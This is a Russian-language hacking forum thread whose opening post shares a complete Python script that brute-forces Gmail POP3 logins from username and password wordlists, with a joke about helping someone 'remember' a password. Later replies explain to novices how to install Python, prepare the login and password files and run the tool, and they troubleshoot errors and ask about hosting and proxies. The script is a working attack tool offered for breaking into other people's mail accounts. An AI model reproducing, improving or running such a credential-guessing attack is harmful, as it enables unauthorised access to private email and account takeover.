PDA

Просмотр полной версии : Gmail Brute Force (py)


Elvis000
26.11.2007, 15:17
Gmail Pop3 Brute Forcer может поможет кому нибудь "вспомнить" пароль. Написан на питоне.

(С) 3hydr8

#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "\t Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
sys.exit(1)

server = "pop.gmail.com"
success = []

try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)

try:
pop = poplib.POP3_SSL(server, 995)
welcome = pop.getwelcome()
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass

print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "\n[-] Reloading Wordlist - Changing User\n"
reloader()
value = random.sample(words, 1)
users.remove(users[0])

lock.release()
if len(users) ==1:
return value[0][:-1], users[0]
else:
return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):

def run(self):
value, user = getword()

try:
print "-"*30
print "[+] User:",user,"Password:",value
pop = poplib.POP3_SSL(server, 995)
pop.user(user)
pop.pass_(value)
print "\t\t\n\nLogin successful:",user, value
print "\t\tMail:",pop.stat()[0],"emails"
print "\t\tSize:",pop.stat()[1],"bytes\n\n"
success.append(user)
success.append(value)
success.append(pop.stat()[0])
success.append(pop.stat()[1])
pop.quit()
except (poplib.error_proto), msg:
#print "An error occurred:", msg
pass

for i in range(len(words)*len(users)):
work = Worker()
work.start()
time.sleep(1)
if len(success) >=1:
print "\n\n[+] Login successful:",success[0], success[1]
print "\t[+] Mail:",success[2],"emails"
print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done\n"

WhiteSlate
14.01.2008, 16:31
gmail.ru - шняга ( извеняюсь за вырожение ), зря старался мне кажется, им пользуются очень мало мэмберов, ИМХО!
Это не в обиду, просто моё мнение.

madnet
14.01.2008, 17:07
WhiteSlate, причем здесь gmail.ru?
это брут gmail.com и старался не он.

Soviet[HZ]
14.01.2008, 19:25
ТС просто в названии топика зачем то "ру" прилепил.

ртуть
14.01.2008, 19:43
py - python!

ртуть
14.01.2008, 19:45
и еще ... gmail лучший майл сервис, хотя бы за ssl... +плюс прикольные фишки )

Хозяин
14.01.2008, 20:01
ртуть, не не ))) он говорит все верно, gmail.com - гугловский почтовик, gmail.ru - шняга редкостная )

ртуть
14.01.2008, 20:04
ты не всосал... я про gmail.com и говорю!

Soviet[HZ]
15.01.2008, 15:20
gmail.ru - шняга ( извеняюсь за вырожение ), зря старался мне кажется, им пользуются очень мало мэмберов, ИМХО!
Это не в обиду, просто моё мнение.

Может кому то из за этого легче станет)))
Про gmail.com не было в этом топике ниодного отрицательного отзыва.

GeeZeR
19.01.2008, 03:49
Граждане, я дико извиняюсь, и куды ж яго сувать этот скрипт?

Хозяин
19.01.2008, 03:59
Сохраняешь в текстовый файл, с расширением *py. интерпретатором, или на хосте, поддерживающем питон

GeeZeR
19.01.2008, 04:11
А к примеру посоветуете ли какой интерпретатор для винды или можно из него экзешник сделать и с домашнего компа шмалять?

Хозяин
19.01.2008, 05:13
http://www.python.ru/implementation/

FruityLoops
06.03.2008, 19:52
При запуске выдает такую ошибку(

File "C:\gmailpopbrute.py", line 11
print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
^
SyntaxError: invalid syntax

Shred
06.03.2008, 22:16
Граждане, я дико извиняюсь, и куды ж яго сувать этот скрипт?

Эспешал фо ю
для виндавса качаешь интерпретатор с
http://www.python.org/ftp/python/2.5.2/python-2.5.2.msi - инсталишь по дефолтному пути, скриптец сохраняешь в brut_gmail.py файлике и кладёшь в папку C:\Python25, дальше создаёшь 2 тхт файлтка login.txt и pass.txt, в ник кладёшь логины и пасы, дальше вызываешь cmd.exe и тулишь туда вот такие вот слова :)
C:\Python25>brut_gmail.py login.txt pass.txt

и будет тибе щасьте

kung lao
22.04.2008, 01:08
File "<stdin>", line 1
C:\Python25>brut_gmail.py login.txt pass.txt
^
SyntaxError: invalid syntax
>>>

вот такая байда :(

GreenBear
22.04.2008, 01:26
bomb@bomb-desktop:~$ python g.py

d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0
--------------------------------------------------

Usage: ./gmailpopbrute.py <userlist> <wordlist>

kung lao
12.05.2008, 22:03
дальше вызываешь cmd.exe и тулишь
в папке нет cmd.exe, есть python.exe, но когда вписываю туда C:\Python25>brut_gmail.py login.txt pass.txt, то выдает собщение, которое в предыдущем посте
хелп

Elvis000
13.05.2008, 00:12
Пуск -> все программы -> стандартные -> командная строка

CrazyStudentS_Mi}{
13.05.2008, 00:38
в папке нет cmd.exe


о боже куда катиться мир, всех надо отправить читать маны винды

alpen
13.05.2008, 07:52
пробывал эту весщ работает вот только медленно.
мож кто подскажет бесплатный хостинг для питона???

kung lao
15.05.2008, 17:18
к кому можно обратиться в аську за помощью в настройке брута???
need help

mff
26.09.2008, 17:35
HELP!!!!!!!! Нужен gmail brute!!!!!!!!!!!!!!!!!!

ртуть
26.09.2008, 19:06
тупой айлень.... ап!

tesla-project
06.10.2008, 02:00
cd C:\Python25
brut_gmail.py login.txt pass.txt

ну и... убей себя ))))

hark
06.10.2008, 17:09
кароче тут такой прикол с gmail brut, выдает неверные коды :D :D

zer0ska
04.11.2008, 17:43
В начале от кидисов ошибка )) это правильно ))

Suratiy
09.11.2008, 22:11
Прокси поддерживает?

nazgul_mk
22.11.2008, 20:39
может подскажете что блин за...:

# ./gmailpopbrutmail.py
File "./gmailpopbrutmail.py", line 22
except(IOError):
^
SyntaxError: invalid syntax

собсно 22-я строка:
except(IOError):
на что тут можно ругаться вообще? 0о

nazgul_mk
22.11.2008, 20:42
тьфу, блин, я идиот... извиняюсь :)